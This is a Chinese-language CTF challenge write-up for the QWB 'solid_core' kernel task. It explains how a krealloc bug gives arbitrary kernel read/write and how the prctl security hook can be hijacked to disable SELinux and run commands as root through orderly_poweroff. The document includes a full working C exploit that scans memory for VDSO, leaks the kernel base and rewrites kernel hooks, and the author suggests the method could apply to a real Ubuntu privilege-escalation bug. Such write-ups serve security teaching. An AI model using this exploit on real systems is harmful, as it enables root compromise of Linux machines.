強網杯出題思路-solid_core-HijackPrctl

強網杯出題思路-solid_core-HijackPrctl

0x00 概述

solid_core出題時候,基本上是以CSAW-2015-CTF的stringipc題目為基礎進行內存讀寫的限制,CSAW-2015-CTF中的題目是一個krealloc的利用。

在krealloc的定義中mm/slab_common.c中

強網杯出題思路-solid_core-HijackPrctl

如果size=0,krealloc返回值為0x10

強網杯出題思路-solid_core-HijackPrctl

通過修改size=-1,使得kremalloc的返回值變成0x10,同時size因為是0xFFFFFFFFFFFFFFFF所以可以進行任意地址讀寫。

強網杯出題思路-solid_core-HijackPrctl

那麼傳統思路下一步提權的方法有兩種,下面進行介紹。

0x01 任意地址讀寫到權限提升(傳統思路)

下面以csaw-2015的stringipc為例子來介紹兩種從任意地址讀寫到權限提升到權限的傳統思路

1. 爆破cred結構位置並篡改

做過內核漏洞利用的同學應該都瞭解task_struct中的cred結構代表了該進程的權限結構。

強網杯出題思路-solid_core-HijackPrctl

如果我們能夠修改cred結構的值那麼就可以進行提權操作。這是一個很正常的思路,但是我們的cred結構地址在哪裡呢?這裡CSAW給出的思路是通過prctl設置comm結構為一個Random的字符串是,然後通過爆破這個Random的字符串,每八個字節進行遍歷,耗時比較久,但是是可行的。

鏈接如下 https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c

2. RET2DIR攻擊(劫持VDSO)

第二種方法是使用RET2DIR攻擊,在這裡CSAW-2015-stringipc可以通過攻擊VDSO來劫持用戶態的代碼執行流程。下面我們先來補充一下VDSO的知識:

(1)linux下的VDSO

VDSO(Virtual Dynamically-linked Shared Object)是個很有意思的東西, 它將內核態的調用映射到用戶態的地址空間中, 使得調用開銷更小, 路徑更好.

開銷更小比較容易理解, 那麼路徑更好指的是什麼呢? 拿x86下的系統調用舉例, 傳統的int 0x80有點慢, Intel和AMD分別實現了sysenter, sysexit和syscall, sysret, 即所謂的快速系統調用指令, 使用它們更快, 但是也帶來了兼容性的問題.

於是Linux實現了vsyscall, 程序統一調用vsyscall, 具體的選擇由內核來決定. 而vsyscall的實現就在VDSO中.

Linux(kernel 2.6 or upper)環境下執行ldd /bin/sh, 會發現有個名字叫linux-vdso.so.1(老點的版本是linux-gate.so.1)的動態文件, 而系統中卻找不到它, 它就是VDSO. 例如:

$ ldd /bin/sh

linux-vdso.so.1 => (0x00007fff2f9ff000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f28d5b36000)

/lib64/ld-linux-x86-64.so.2 (0x00007f28d5eca000)

所以,不難理解,VDSO是一段內核空間的代碼,用來提供給用戶態下更快地調用系統調用。正是因為這個特殊的機制,使得我們可以進行攻擊。

在CSAW-CTF-2015的stringipc題目中,內核態下VDSO頁的權限是RW,這個代碼頁會被直接映射到用戶態下的進程中,以滿足gettime等頻繁系統調用的速度。這個代碼頁映射到用戶態的權限屬性是RX,就是可以執行。所以,我們可以通過在內核態下通過任意寫來修改VDSO的代碼,譬如我們修改代碼成為prepare_cred+commited_cred等,這樣在用戶調用VDSO時,就可以劫持控制流了。

具體鏈接如下: http://itszn.com/blog/?p=21

這裡也有一個問題:VDSO位置在哪裡呢?這個可以爆破,因為我們有了任意地址讀的權限,不過和上面爆破cred結構的技術不一樣,我們可以更快的爆破,因為VDSO必定是被安防到一個內存頁裡面,也就是頁對其的,同時它是一個ELF文件,是有ELF Signurte,所以我們可以按照內存頁的偏移來進行爆破,這樣爆破速度會很快,大概是256倍,而且它的映射位置離內核基址並不是太遠,可以很快就出來了。

0x02 題目修改思路

題目為了限制大家不能使用cred覆蓋和ret2dir攻擊利用方法,我對csaw-ctf-2015進行了修改,限制了內存讀寫範圍。

我進行了限制,限制寫入範圍必須大於0xffffffff80000000,這個地址在linux內存分佈中,是kernel base以上。

附上linux 內核內存分佈圖

強網杯出題思路-solid_core-HijackPrctl

所以可以限制cred被覆蓋,同時編譯最新內核以限制VDSO在內核情況下不能被修改。

強網杯出題思路-solid_core-HijackPrctl

可以使得上兩種的利用方法失效,以期待有高手能夠給出一種另外的利用思路,同時我也給出了一種限制之後可以成功利用思路,也就是HijackPrctl,下面進行詳細介紹。

0x03 HijackPrctl- A reliable linux root Techniques

下面介紹從內核地址任意讀寫(或者可以限制為局部地址讀寫)到任意代碼執行的一種新型的Reliable Linux Root技術,這個思路其實也不算最新的,是來自於INetCop Security 分享的New Reliable Android Kernel Root Exploitation Techniques,這種漏洞利用思路主要是要劫持Prctl函數,最後跳轉到call_usermodehelper,我姑且把這種方法稱作HijackPrctl。

我們再來確定一下現在能做的事情,我們可以進行局部地址的任意讀寫,題目限制了讀寫範圍必須大於0xffffffff80000也就是kernel base以上。為了達到代碼執行,我們先找一個內核函數看能不能劫持的。

0x01 Prctl(用戶和內核溝通的一個絕佳函數)

這裡要介紹一下Prctl函數,這個函數可以對進程進行一些設置,通過查看linux內核源碼,可以知道這個函數是一個內核漏洞利用中的絕佳函數。

在include/linux/security.h中可以看到cap_task_prctl擁有6個參數。

強網杯出題思路-solid_core-HijackPrctl

同時在kernel/sys.c中,可以看到對於prctl這個系統調用的處理過程中,將參數原封不動的傳給了security_task_prctl函數進行處理。

強網杯出題思路-solid_core-HijackPrctl

繼續往下跟進,我們發現security_task_prctl這個函數其實最後是定位到了一個虛表裡面去,

強網杯出題思路-solid_core-HijackPrctl

在調試時候我們會找到這個hook的位置在哪裡,在這裡是capability+0x520+0x18這個偏移,這個偏移在IDA中也能分析出來。

強網杯出題思路-solid_core-HijackPrctl

強網杯出題思路-solid_core-HijackPrctl

這樣的話,我們就找到了一個可以通過用戶態傳最多6個參數並且到內核態原封不動執行的虛函數。也就是意味我們可以通過修改這個指針,可以任意執行一個函數了。

0x02 32位和64位區別

基於上面的分析我們可以通過用戶態傳遞參數,在內核態下任意執行6個參數以下的函數。再仔細分析一下,對嗎?在32位下是可以的,在64位下並不是。我們再看這個函數int security_task_prctl(int option, unsigned long ...)發現第一個參數option是int類型,也就是我們傳入的64位會被截斷成為32位,這也就導致了64位,第一個參數不能用了。

這個不影響32位下的漏洞利用,我們繼續來分析32位如何利用。

其實,這裡有很多思路,INetCop Security的Slide裡面有,我這裡介紹另外一種基於VDSO變形的方法,也是看雪論壇上(https://bbs.pediy.com/thread-220057.htm),提出的一種方法。

具體思路是:

先通過劫持task_prctl,將其修改成為set_memory_rw

然後傳入VDSO的地址,將VDSO修改成為可寫的屬性,

然後之後的步驟就和劫持VDSO方法是一樣的了。

這種方法我進行了驗證64位內核上是不可行的,就是因為第一個參數被截斷的原因。

0x03 call_usermoderhelper內核線程執行

call_usermoderhelper是內核運行用戶程序的一個api,並且該程序有root的權限。如果我們能夠控制性的調用它,就能以Root權限執行我們想要執行的程序了。

定義在kernel/umh.c中

強網杯出題思路-solid_core-HijackPrctl

subprocess_info如下

強網杯出題思路-solid_core-HijackPrctl

我們要劫持task_prctl到call_usermoderhelper嗎,不是的,因為這裡的第一個參數也是64位的,也不能直接劫持過來。但是內核中有些代碼片段是調用了Call_usermoderhelper的,可以轉化為我們所用。

譬如kernel/reboot.c中的orderly_poweroff函數中調用了run_cmd參數是poweroff_cmd,而且poweroff_cmd是一個全局變量,可以修改。

強網杯出題思路-solid_core-HijackPrctl

那麼我們就先篡改poweroff_cmd=我們預期執行的命令,然後直接劫持task_prctl到orderly_poweroff函數,這樣就任意命令執行了,同時按照INetCop Security給出的思路,需要先關閉selinux。

所以再整理一下整體思路:

利用kremalloc的問題,達到任意地址讀寫的能力

通過快速爆破,洩露出VDSO地址。

利用VDSO和kernel_base相差不遠的特性,洩露出內核基址

篡改prctl的hook為selinux_disable函數的地址

調用prctl使得selinux失效

篡改poweroff_cmd使其等於我們預期執行的命令。

篡改prctl的hook為orderly_poweroff

調用prctl執行我們預期的命令,達到內核提權的效果。

最後給出利用程序如下

#include

#include

#include

#include

#include

#include

#include

#include

#define CSAW_IOCTL_BASE 0x77617363

#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1

#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2

#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3

#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4

#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5

#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6

#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7

#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {

size_t buf_size;

int id;

};

struct open_channel_args {

int id;

};

struct read_channel_args {

int id;

char *buf;

size_t count;

};

struct write_channel_args {

int id;

char *buf;

size_t count;

};

struct close_channel_args {

int id;

};

struct shrink_channel_args {

int id;

size_t size;

};

struct seek_channel_args {

int id;

loff_t index;

int whence;

};

int ID = 0;

int FD = 0;

void readMem(void* ptr, void* addr, size_t count) {

struct seek_channel_args seekArgs;

seekArgs.id = ID;

seekArgs.index = addr-0x10;

seekArgs.whence = SEEK_SET;

int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);

int err = errno;

//fprintf(stderr,"Seek: %x err:%u\n",ret,err);

struct read_channel_args readArgs;

readArgs.id = ID;

readArgs.buf = ptr;

readArgs.count = count;

ret = ioctl(FD, CSAW_READ_CHANNEL, &readArgs);

err = errno;

//fprintf(stderr,"read: %x err:%u\n",ret,err);

}

void writeMem(void* ptr, void* addr, size_t count) {

struct seek_channel_args seekArgs;

seekArgs.id = ID;

seekArgs.index = addr-0x10;

seekArgs.whence = SEEK_SET;

int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);

int err = errno;

//fprintf(stderr,"Seek: %x err:%u\n",ret,err);

struct write_channel_args writeArgs;

writeArgs.id = ID;

writeArgs.buf = ptr;

writeArgs.count = count;

ret = ioctl(FD, CSAW_WRITE_CHANNEL, &writeArgs);

err = errno;

//fprintf(stderr,"write: %x err:%u\n",ret,err);

}

int main(int argc,char* argv[]) {

//offset_set_memory_rw 0x079340 sbin_poweroff 0x123D1E0 call_poweroff 0x09C4C0

//offset_prctl_hook 0x124FD00 selinux_disable 0x2C7BA0

//./exp 0x124FCC0 0x123D2E0 0x09D510 0x2C2E10

//capability+0x520

long unsigned int offset_set_memory_rw=0x06da70;

long unsigned int offset_prctl_hook=0x1140ae0;

long unsigned int offset_task_prctl=0x2f7e69;

long unsigned int offset_call_modprobe=0x0ae3b2;

//long unsigned int offset_call_poweroff=0x0a0880;//call_usermod

long unsigned int offset_call_poweroff=0x0acb00;

long unsigned int offset_selinux_disable=0x303b10;

long unsigned int offset_sbin_poweroff=0x105a4e0;

long unsigned int offset_modprobe_path=0x105ac80;

if (argc!=5)

{

fprintf(stderr,"Usage: %s offset_prctl_hook offset_sbin_poweroff offset_call_poweroff offset_selinux_disable\n",argv[0]);

exit(-1);

}

//offset_set_memory_rw=strtoul(argv[1],NULL,16);

offset_prctl_hook=strtoul(argv[1],NULL,16);

offset_sbin_poweroff=strtoul(argv[2],NULL,16);

offset_call_poweroff=strtoul(argv[3],NULL,16);

offset_selinux_disable=strtoul(argv[4],NULL,16);

int fd = open("/proc/simp1e",O_NONBLOCK);

char cmd[256];

memset(cmd,0,sizeof(cmd));

fprintf(stderr,"Input Your Cmd $:");

read(0,&cmd,256);

FD = fd;

struct alloc_channel_args arg1;

arg1.buf_size=100;

int ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&arg1);

fprintf(stderr,"allocate fd: %d ret: %d id:%u\n",fd,ret,arg1.id);

ID = arg1.id;

struct shrink_channel_args shrinkArgs;

shrinkArgs.id = arg1.id;

shrinkArgs.size=101;

ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrinkArgs);

int err = errno;

fprintf(stderr,"Shrink: %d err:%u\n",ret,err);

fprintf(stderr,"ZERO_SIZED_POINTER = %p\n",((void*)16));

//Random buffer to throw things into

//char* what = malloc(0x1000*0x1000);

//Scanning for elf headers to find VDSO

void* header = 0;

void* loc = 0xffffffff80000000;

size_t i = 0;

for (; loc<0xffffffffffffafff; loc+=0x1000) {

readMem(&header,loc,8);

if (header==0x010102464c457f) {

fprintf(stderr,"%p elf\n",loc);

readMem(&header,loc+0x2B8,8);

//Look for 'clock_ge' signature (may not be at this offset, but happened to be)

if (header==0x65675f6b636f6c63) {

fprintf(stderr,"%p found it?\n",loc);

break;

}

}

}

long unsigned int kernel_base=(long unsigned int)loc&0xffffffffff000000;

long unsigned int real_set_memory_rw=kernel_base+offset_set_memory_rw;

long unsigned int real_prctl_hook=kernel_base+offset_prctl_hook;

long unsigned int real_task_prctl=0;

long unsigned int real_call_modprobe=0;

long unsigned int real_modprobe_path=0;

long unsigned int real_selinux_disable=0;

long unsigned int real_sbin_poweroff=kernel_base+offset_sbin_poweroff;

long unsigned int real_call_poweroff=0;

long unsigned int try_offset=0;

//cur_offset= (real_set_memory_rw >>20 ) &0xff

printf("real_sbin_poweroff:%p real_prctl_hook:%p\n",real_sbin_poweroff,real_prctl_hook);

for( i=0; i<0x20;i+=1)

{

try_offset = real_sbin_poweroff- 0x100000*i ;

printf("%p is trying!\n",try_offset);

readMem(&header, (void*)try_offset,8);

printf("%p is read!\n",header);

//if (header==0xec834800f28db6e8){

if (header==0x6f702f6e6962732f){

fprintf(stderr,"%p is real_sbin_poweroff\n",try_offset);

real_sbin_poweroff=try_offset;

real_prctl_hook-=(0x100000*i);

break;

}

}

if (i==0x20)

{

fprintf(stderr,"Not found!\n");

exit(-1);

}

real_task_prctl = real_sbin_poweroff -offset_sbin_poweroff + offset_task_prctl;

//real_call_modprobe = real_sbin_poweroff -offset_sbin_poweroff + offset_call_modprobe;

printf("set_memory_rw:%p real_prctl_hook:%p \n real_task_prctl:%p\n real_call_modprobe:%p \n",real_set_memory_rw,real_prctl_hook,real_task_prctl,real_call_modprobe);

//real_modprobe_path = real_sbin_poweroff -offset_sbin_poweroff + offset_modprobe_path;

real_selinux_disable = real_sbin_poweroff -offset_sbin_poweroff + offset_selinux_disable;

real_sbin_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_sbin_poweroff;

real_call_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_call_poweroff;

printf("path %p selinux_disable: %p\n",real_modprobe_path,real_selinux_disable);

printf("Hijiack Prctl!\n");

getchar();

writeMem(&real_selinux_disable,real_prctl_hook,sizeof(real_set_memory_rw));

ret = prctl(loc,2, loc,loc,2);

//char * hijack_path= "/bin/ls\\x00";

//char * hijack_path= "/bin/cat /flag > /tmp/flag\\x00\\x00\\x00";

char * hijack_path= "/bin/mkdir -p /tmp/x0x\\x00\\x00\\x00";

//writeMem(hijack_path,real_modprobe_path,128);

//writeMem(hijack_path,real_sbin_poweroff,128);

writeMem(&cmd,real_sbin_poweroff,228);

//exit(-1);

//Write our shellcode over the gettimeofday function at offset 0xca0

//writeMem(&real_set_memory_rw,real_prctl_hook,sizeof(real_set_memory_rw));

writeMem(&real_call_poweroff,real_prctl_hook,sizeof(real_set_memory_rw));

printf("Start Prctl!\n");

getchar();

ret = prctl(loc,2, loc,loc,2);

printf("end Prctl!\n");

for(i=0;i<0x0;i+=1)

{

writeMem(&real_call_poweroff,real_prctl_hook+8*i,sizeof(real_set_memory_rw));

}

//Write our shellcode over the gettimeofday function at offset 0xca0

// writeMem(sc,loc+0xd30,strlen(sc));

//Wait a bit for a daemon or logger to call gettimeofday()

// system("nc -l -p 3333 -v");

// exit(1);

}

0x04 寫在後面

很慘,出題時候由於一些設置問題,產生了一些的非預期解(一共有5只隊伍解出題目,三隻使用非預期解,兩隻使用正解),不過這些非預期解也讓我學習到了很多知識(姿勢)。

同時在題目部署中也出現了一些問題,但是因為已經出現了非預期解,保持題目公平性,所以也就沒有進行繼續修改了。

同時在出這道題目的過程中,多次對內核進行編譯,對於很多以前不知道的內核知識進行補充,踩了很多坑,也學了很多。

最後祝賀做出此題的戰隊以及參與強網杯比賽的各位戰隊,希望能夠和各位大神繼續交流內核漏洞相關的知識。

同時最近出現的ubuntu16.04提權漏洞也是一個任意內存讀寫漏洞,理論上也能夠使用該種方法進行提權,下面我會抽時間進行調試並分析。

如果大家還想繼續做這道題目的話,題目繼續在10.9.173.101 9999開放。

同時本文也在本人博客上面進行發表。http://leanote.com/blog/post/5ab78270ab64413755000dcf

vdso http://adam8157.info/blog/2011/10/linux-vdso/

ret2dir http://www.cnblogs.com/0xJDchen/p/6143102.html

usermode-helper https://www.ibm.com/developerworks/cn/linux/l-user-space-apps/index.html

attack_vdso https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html

ret2dir-balckhat https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf

reliable linux root http://powerofcommunity.net/poc2016/x82.pdf

利用分頁機制進行攻擊

https://github.com/n3k/CansecWest2016_Getting_Physical_Extreme_Abuse_of_Intel_Based_Paging_Systems/blob/master/Demos/Linux/driver/kernetix.c

New Reliable Android Kernel Root Exploitation Techniques http://powerofcommunity.net/poc2016/x82.pdf


分享到:


相關文章: